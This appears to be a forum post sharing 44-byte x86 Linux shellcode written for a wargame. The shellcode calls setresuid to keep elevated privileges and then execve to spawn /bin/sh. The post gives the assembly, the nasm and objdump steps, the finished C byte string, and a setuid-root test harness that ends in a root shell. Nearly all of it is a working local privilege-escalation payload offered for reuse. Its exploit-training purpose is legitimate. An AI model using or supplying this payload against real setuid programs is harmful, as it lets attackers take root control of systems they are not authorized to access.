I wrote the following x86 shellcode for a wargame and I thought I would share it here so you guys can mess with it. The shellcode calls setresuid first in order to execute with maximum privileges when you are exploiting a setuid binary. Then it calls execve to spawn a shell. This is probably the most basic shellcode and is only suitable for local exploitation.
Pseudocode:
uid = geteuid()
setresuid(uid, uid, uid)
execve("//bin/sh", {"//bin/sh", NULL}, NULL)
Assembly:
; x86 setresuid execve shellcode (44 bytes)
; [email protected]
bits 32
global _start
section .text
_start
:
nop
; call geteuid
xor eax, eax
mov al, 0x31
int 0x80
; call setresuid
mov ebx, eax
mov ecx, eax
mov edx, eax
xor eax, eax
mov al, 0xa4
int 0x80
; call execve
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
To turn this assembly into usable shellcode you will have to assemble it into an ELF executable, and then extract the shellcode from that. You will need nasm to assemble the file:
$ nasm -f elf32 shellcode.asm -o shellcode.o && ld -m elf_i386 shellcode.o -o shellcode
You can then use objdump to dump the .text section (instructions) of the binary you just built:
$ objdump -M intel -D ./shellcode
./shellcode: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 90 nop
8048061: 31 c0 xor eax,eax
8048063: b0 31 mov al,0x31
8048065: cd 80 int 0x80
8048067: 89 c3 mov ebx,eax
8048069: 89 c1 mov ecx,eax
804806b: 89 c2 mov edx,eax
804806d: 31 c0 xor eax,eax
804806f: b0 a4 mov al,0xa4
8048071: cd 80 int 0x80
8048073: 31 c0 xor eax,eax
8048075: 50 push eax
8048076: 68 6e 2f 73 68 push 0x68732f6e
804807b: 68 2f 2f 62 69 push 0x69622f2f
8048080: 89 e3 mov ebx,esp
8048082: 50 push eax
8048083: 89 e2 mov edx,esp
8048085: 53 push ebx
8048086: 89 e1 mov ecx,esp
8048088: b0 0b mov al,0xb
804808a: cd 80 int 0x80
The byte-values in the second column (starting with 90) represent the processor instructions (opcodes) for your shellcode. Take these and smash them together into a c-style string:
x86 setresuid execve shellcode (44 bytes):
char shellcode[] =
"\x90\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
You can test the shellcode by pasting it into the following tester:
int main(void) {
char shellcode[] =
"\x90\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
(*(void(*)()) shellcode)();
}
You have to compile this with the -z execstack flag in order to test your shellcode since the stack is not executable by default:
$ gcc -m32 -z execstack tester.c -o tester
$ sudo chown root tester
$ sudo chmod +s tester
$ ./tester
# rm tester && echo "Yay r00t!" && exit
Yay r00t!